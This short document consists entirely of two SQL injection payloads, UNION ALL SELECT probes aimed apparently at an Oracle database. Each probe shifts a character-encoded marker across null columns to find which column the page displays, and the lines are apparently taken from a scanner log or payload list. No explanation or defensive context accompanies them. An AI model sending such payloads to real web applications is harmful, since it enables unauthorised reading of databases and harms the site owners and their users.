s and 1=2 union all select null,null,null,null,null,null,null,null,null,chr(54)||chr(55)||chr(53)||chr(57)||chr(57),null,null,null,null,null,null,null,null,null,null,null,null from dual--
s and 1=2 union all select null,null,null,null,null,null,null,null,null,null,chr(54)||chr(55)||chr(53)||chr(57)||chr(57),null,null,null,null,null,null,null,null,null,null,null from dual--